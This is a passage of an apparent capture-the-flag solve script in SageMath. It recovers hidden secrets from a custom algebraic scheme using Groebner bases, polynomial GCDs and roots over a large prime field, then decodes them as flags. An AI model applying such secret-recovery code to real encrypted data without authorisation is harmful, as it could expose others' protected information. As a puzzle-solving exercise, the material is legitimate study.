-2*(x1+x2), 1] a1 = [n*n,-2*s*n,2*n+s*s,-2*s,1] b1 = [u1[0]*k0 + v1[0], u1[0]*k1 + u1[1]*k0 + v1[1], u1[1]*k1 + u1[2]*k0, u1[2]*k1] fs = [0] * 7 for i in range(3): for j in range(5): fs[i+j] += u1[i] * a1[j] for i in range(4): for j in range(4): fs[i+j] += b1[i] * b1[j] for i in range(6): fs[i] -= f1[i] print(fs[-1]) I1 = Ideal(fs) B1 = I1.groebner_basis() print(B1) fs1 = [] for i in range(7): t = fs[i](ux = -1/k1^2) t = t(k0 = -(s*k1 + 10103314748659320151306858588746510829582455184333504026979850860614765456261550128034259605882349229397403940815654480593650740801293912992174403475353132*k1^3 + 7381061801425776802374511498143788429490110288897825713914634929383217310648673480693937480713729525967384112169223505564122452987534248545420222312709735 * k1)) t = t(s = -(245645771718703412693756758335737774780207058452038579790753304591453659642259062570360959781700326051897727922778038453739352733951607494801396490492023*k1^4 + 8725269774543348890444890336756101781802561045514140983358688429067222229197688538047153843900693964323334467940026010583729677800446709731555473060685626*k1^2 + 20206629497318640302613717177493021659164910368667008120702312168658959729889280963268869447056316491892128508524975162223724948508181049113205403468161301*n + 4871781636079164772516318563635863059203281470468363737538975411311189597226736520705319932211670279974734288469101511481454226048747293861758777298854964*k1 + 17698801733894967155371473351845083085806617411161099389668643855556452129641084959004629892154282806139216879986641827882401687213192117204066032342788973) / (5444505894467086697864694181205444800184689790871356692873042309892525108591934001880994485628857439957360284186528151095480042533112552022364958842741833 + 20206629497318640302613717177493021659164910368667008053959701721229530912523100256068519211764698458794807881631308961187301481602587825984348806950706264*k1^2)) #t = t(k0 = -(k1^3 + 3462340230580638566079590231269718978389717317696185031274803360831326113021223024819149911085230440612646383338562523534478932611595015385175164502471735*x1*k1 + 3462340230580638566079590231269718978389717317696185031274803360831326113021223024819149911085230440612646383338562523534478932611595015385175164502471735*x2*k1 + 7356354453435176999393373604243618785789406731497646636268640125100631487940843270366686841510596746175284053122368862094007569863663993507707545641210120*k1)/3462340230580638566079590231269718978389717317696185031274803360831326113021223024819149911085230440612646383338562523534478932611595015385175164502471735) #t = t(x1 = -(9980491862799968444959980209578641942192351655107484770455779432033753035123510950349254243637308082920115390301098561884992797887114720809202003488834640*k1^4 + 10103314748659320151306858588746510829582455184333504093722461308044194273627730835234609841173967262494724567709320681630074207706887136121030999992808171*x2*k1^2 + 15843994610046965857391272009114970768263629845909937629022967954125348615290436694245292525105969509730461274554962156931860109607957694247427666937818490*k1^2 + 7381061801425776802374511498143788429490110288897825713914634929383217310648673480693937480713729525967384112169223505564122452987534248545420222312709735*x2 + 17770738679279057916355557895675090129563269633432826251932824463003364931275912702916209480950481351904761364290424406482997835483807402182326014818733821*k1 + 1253913881711836573621121912823969286679146478752954365516834156551253800124098002132119777451016842876455814269166667170661630647494465954569685562686165)/(10103314748659320151306858588746510829582455184333504093722461308044194273627730835234609841173967262494724567709320681630074207706887136121030999992808171*k1^2 + x2 + 7381061801425776802374511498143788429490110288897825713914634929383217310648673480693937480713729525967384112169223505564122452987534248545420222312709735)) fs1.append(t) x = str(fs1[i]) print(i,'s^' in x ,'n^' in x, 'k1^' in x, 'k0^' in x, fs1[i]) ``` ```python= p = 20206629497318640302613717177493021659164910368667008120702312168658959729889280963268869447056316491892128508524975162223724948508181049113205403468161303 f0 = "3015784209125698973311129359496299100665991693085558814500751319643410939758523615681886188643583764915145434706748214236709367671982794735253527704626731*k1^8 + 10868410714823959433471000249209639816319049448570156817876222695606915929923737592227785323215031181905570930162006360686331806358978867097687496622470434*k1^7 + 15259159005213075984880616419680221075757076781680518162737116504593897803523578914566114075017998633760246035160161783366144261711122144799206824210429022*n^2*k1^4 + 3705842588141811301652653963311683889127468118526818973665765470034154401437082555509482331871823949706823052632619101026343695228445554656024798265439621*k1^6 + 16878780260276934163939219773798020517761334545785025094966132877804388239932567890619669213643349181670716482758792763734506955033699192793794299333582857*n*k1^4 + 19272325164422913058226130855123870188480001353810206581008589810212066509710617196458061203762230013247691997102768477614959248689953070766797061104312734*k1^5 + 7058414962825702646816930639303788204328616310284614112638094316357729136445959520489268642372340812357123526682856813765279564932094230706092004465902226*n^2*k1^2 + 9680623727593499938620681393833623908733651158797639103008948627117974420405948312238138683408393470322193626977037264072125600674402651740044110999654175*n*k1^3 + 15623794092850000496740238080757913721150163943743588130617871593278692909696304091064643368800947491793309685135138280432202390014703955051051094222231388*k1^4 + 14619108840537073440864816087924340665933009092392254430318724230209111622522236657968852635548668719406723538582871208494833094489353896226236776566329547*n*k1^2 + 364979129796401530238044603022577360659198572507770373327870478932363087672474180117483438823232031369926307017761008984210673097118602199830555665136780*k1^3 + 1143788632446508537609871473467196825399199758667469095998014980082076656804726222998749880657472446505045528130137377089504095385919265664537577452374580*n^2 + 14161338566324398802686335691458016993218068017618299500341044332109028532417433953742294299832193953871744989476702756307458503730526441796351263591652103*n*k1 + 13370175758977909933235383864850900948872591530934102641048836227406494676022656514999632261712647507269911070822542956185485717895018166032856108997576798*k1^2 + 5424147873375254005592047258753152203432321470759345840283105777410781091354659771834741119732920952586665303795673942433333655379132571719117468343255369*n + 10380752589679060478987343260285212707584328649230733891816321910524705489053649188969203381975786434304134125722771894738733507988867753275940685441286575*k1 + 4175556623198453289339228862539170296804384166889883614511736974668506692493762668337758005960205263983075316857883528978731979435935978320733333315336160" f1 = "7162206539712097564805063865733437756356797854225964470796444469905177249490987039576311428647845482569299051053475200793284377951496550998026486436130412*k1^8 + 4105677135781725058352543742688708085251291609480240336002277978925928793980694049181998833412981669271057488635953410449747420750597496446625019676508596*n*k1^6 + 14763163157119530984297998948929701741392644130406551499158022664171149782036529313899772215761304901837469661711979159243202116590950198284393604642476426*k1^7 + 7654239815183527608112551227157946584908232882101911382874631927441146678803808054843887222576037158198527804326225193641078711057785627218586849889781786*n^2*k1^4 + 12808228794481560497830083406913656628736041617173982090384573298911701944456543372375123691635668223488892908356637639723659939325368926700125340079026007*k1^6 + 10064374364698051472925635207487021860096918092820035555451440553204885738168947657942377983671227250250720133366318004966672132813101801981800731119839851*n*k1^4 + 16072596357138366268357583863285994890104206832594425218217790306102202556206167946828714672516295406631730567432070590140764264519371167450566815030608947*k1^5 + 17341145615279762013208647909494369642465114412295822234083370544147196791466580696664473301142287343226126781023380472015348134816658251540908909230101292*n^2*k1^2 + 3009664289976174325845894220635635412349004640781580759550136430990532197300575548578512761337264305058965859528148794961024963501173917485005396646728544*n*k1^3 + 13319301229230961830229455229254672022437872649239362637838943335169575842522481995394738071706044513353730248922196843924684896474069076548914072534368986*k1^4 + 7464520257010260705375125786783564705874422071477918150250462649798067662982884304758947623953599737753356123752696108696644084170942671175835043047944193*n*k1^2 + 9072341430387180567499891566408830762073151658481669357457959213633705963434189974111055896407890848702876041860436375796824639308485307355535616419046065*k1^3 + 11761042574532138704479127670539682535933553471022871505451815258241291755116211529270822457636744368898295806931586021064144035143686274937148785807143715*n^2 + 18550945239779657586752627024280265604936735822076972214797883073174603869775272902230037011724405585033440542706835049311776373096909166281544037226913638*n*k1 + 2987566517222619549840796879934906207685737220576285480242210821617629284744705945372251515449720575635223925882944198017298626148605715522237198307697491*k1^2 + 885366550314772783225227926683198558941381856366297234544494486466544715100118412731022140159834310065711992651416704529532850541356563935546328830574412*n + 5649844105716377382303176866253041410567016464438843938996268718339827221082567810361739676440051687863999316581803077604536081397770529947016259595667994*k1 + 4321232294094258225400826097550805844323620403846892034450135065146970548288141290360845094387316583571961011162716460314755825899789367955530913079036395" f2 = "1607727412481038708053144398925191769459006078691803029058270328992988087169202619923382233827992078118542343352737184453123249113768459847613752440651228*k1^8 + 15110551062340003734915608352906655431616482033631053869926040382156624205291476620822062576304263064856732259459440541238826595228933823002226947469567677*n*k1^6 + 5944351701243031726708278410353269413711563989815515819866227649463700971435548289104791782051035243045701728099784108063206712502393140930534904823282820*k1^7 + 20206629497318640302613717177493021659164910368667008053959701721229530912523100256068519211764698458794807881631308961187301481602587825984348806950706264*n^2*k1^4 + 1648385355973086476271865264213588256341021413124495316468282198738575501476108089109113508152734110099286176541475953276863700562489284436365442682778152*k1^6 + 11928404997398706279116781497507596608748792234868028813144820952372738806548225910753865881207281256139232837191044306204077768943655771963047894060124435*n*k1^4 + 3093291123623833109785750720862288404711788796678624537385325364526371915253322802000540964683696095694273478529085077841098383368605153562160325900825345*k1^5 + 12460405869483879884574447909739647141943228376561132036535941690696190921662323048017097466716828147852033196594193744349155306690494263020984349588289695*n^2*k1^2 + 16726316439208378490682103263876603517310987597640567368111932581136501730886612479555973536829876082508657997569109552769270456830389319531825128834544378*n*k1^3 + 6887412489613148177715490434467505350150212571037654742486089903313512741921570613062778093329056306952524250549371145940316495734888178803587201572825092*k1^4 + 13929708669472554906754662514831832982672406316809857192717298090315759793849990725988875512717621836682432557805787166930704659389242509772315292287850991*n*k1^2 + 12396522151656878727381375858215624478642056531254833432162604272555507091152033620906164759364739845914609566563228881865669899222234572190843010006910824*k1^3 + 17296675487879811391552766044997167583659089513379884654271173719450175008781189439214255726917508621919072523644044161597742188219455520999601207304562378*n^2 + 16490403391424548529041713978827449276839956801471371070639926600536010087316114340930648705580705185525845211052637976856648101603405633832411060159052749*n*k1 + 13849354260512980317416884879887230868198179029625520154792696897251531162153641624063748849064648003223420022481711392303928403163096703610115796156430250*k1^2 + 17998564750746366595763983205478418896030445108316105972678924485865527889460225218222604786305169648451911470883049769545954640840855524372119851753147551*n + 11448709863158418190273524649906260212992776388587516433771545934904475052854501011181317122386845550722669436661691119525328235751059334903753035870314582*k1 + 15433995823689879250039123125921433397762363927482819219776047817023550425561687050099608359466211637198008508696992076623427352737262887247566898470476083" f3 = "6438136370088670218025289663079019769961262530872848373812505048236791911289751099519324034895702230483326985689673728555098132407127587877756638719815586*k1^8 + 491291543437406825387513516671475549560414116904077159581506609182907319284518125140721919563400652103795455845556076907478705467903214989602792980984046*n*k1^6 + 16343693068561006969341991962507307228489691843930635432885638686476938923624472900484591583567669685731706199754614398319297026411231797542484144816600492*k1^7 + 13678309912218469259719884206849578948123822969364585048013323894310700710906283338347807790117483018574052001533608441411668666623126955144687510313022441*k1^6 + 5969179826311406368720953832775283686242772767875414892405428966972724440189664993828476853937332191348877229390714230705841289014214978635230671286698573*n*k1^4 + 10861239632112937816882312269354357927640604295356811014390539620416783354970632110933470686269459646967984184251788245181850381900896006599064872346855176*k1^5 + 20206629497318640302613717177493021659164910368667008120702312168658959729889280963268869447056316491892128508524975162223724948508181049113205403468161299*n^2*k1^2 + 19487126544316659090065274254543452236813125881873454950155901645244758388906946082821279728846681119898937153876406045925816904194989175447035109195419856*n*k1^3 + 948276037724488929618501598590497794558293265152356796394524922381783921725994032311745534333687186969472176691121896149914047052287776551143165352915390*k1^4 + 12519218060381215156992711762144456501748765180247132010134947162768792960652144728791037330927295471870931010591167341851133913057640623066014259841689594*n*k1^2 + 4428321805028070041951236395458981851742620324092939255449408530589618273693249677565656859474409131924510780922045552311222436248826323301270348585980149*k1^3 + 15031469739795486167838062947713409724091780582983130930413541866866934944121334210777307213620739345087499824744298830606768649846241625004195760562016153*k1^2 + 15983836035925389503546422424016352097549231919844939813077063713450125742502746246269845952346530430395212157728280591643934491825933662025177094637652509*n + 5285350310670697013582004766956502495043492724826976379338942067520504353637812205431979618114504568609284230943887463450898944084934337960715367347037588*k1 + 17691468636963685587556536964991047707129924940761527517919338710191576008021237779163796487007493554678003869395844481562344257559521524355619688064458363" PR.<k1> = PolynomialRing(GF(p)) f = [f0,f1,f2,f3] A = [] B = [] C = [] for i in f: a = 0 b = 0 c = 0 for j in i.split('+'): if 'n^' in j: if 'n^2' in j: a += eval(j.replace('*n^2','').replace('^','**')) else: raise ValueError elif 'n' in j: b += eval(j.replace('*n','').replace('^','**')) else: c += eval(j.replace('^','**')) A.append(a) B.append(b) C.append(c) fs = [] for i in range(4): for j in range(i): Ri = -B[i] * A[j] Rj = -B[j] * A[i] Ii = (B[i]*B[i]-4*A[i]*C[i]) * (A[j]*A[j]) Ij = (B[j]*B[j]-4*A[j]*C[j]) * (A[i]*A[i]) fs.append(((Ri-Rj)^2 - Ii - Ij)^2 - 4*Ii*Ij) print(fs) print(gcd(fs)) print(gcd(fs).roots()) ans = gcd(fs).roots() for _k1 in ans: for j in range(4): a = A[j](_k1[0]) b = B[j](_k1[0]) c = C[j](_k1[0]) f = a*k1*k1+b*k1+c if j: new_n = [] for _n in n: if f(_n) == 0: new_n.append(_n) n = new_n n = [_n[0] for _n in f.roots()] if n: print(_k1,n) for n in n: s = -(245645771718703412693756758335737774780207058452038579790753304591453659642259062570360959781700326051897727922778038453739352733951607494801396490492023*k1^4 + 8725269774543348890444890336756101781802561045514140983358688429067222229197688538047153843900693964323334467940026010583729677800446709731555473060685626*k1^2 + 20206629497318640302613717177493021659164910368667008120702312168658959729889280963268869447056316491892128508524975162223724948508181049113205403468161301*n + 4871781636079164772516318563635863059203281470468363737538975411311189597226736520705319932211670279974734288469101511481454226048747293861758777298854964*k1 + 17698801733894967155371473351845083085806617411161099389668643855556452129641084959004629892154282806139216879986641827882401687213192117204066032342788973) / (5444505894467086697864694181205444800184689790871356692873042309892525108591934001880994485628857439957360284186528151095480042533112552022364958842741833 + 20206629497318640302613717177493021659164910368667008053959701721229530912523100256068519211764698458794807881631308961187301481602587825984348806950706264*k1^2) s = s(k1=_k1[0]) f = k1*k1 - s*k1 + n flags = f.roots() print(n,flags) if flags: try: flag1 = int(flags[0][0]).to_bytes(64,'big') flag2 = int(flags[1][0]).to_bytes(64,'big') print(flag1) print(flag2) except: print(hex(flags[0][0])) print(hex(flags[1][0])) ```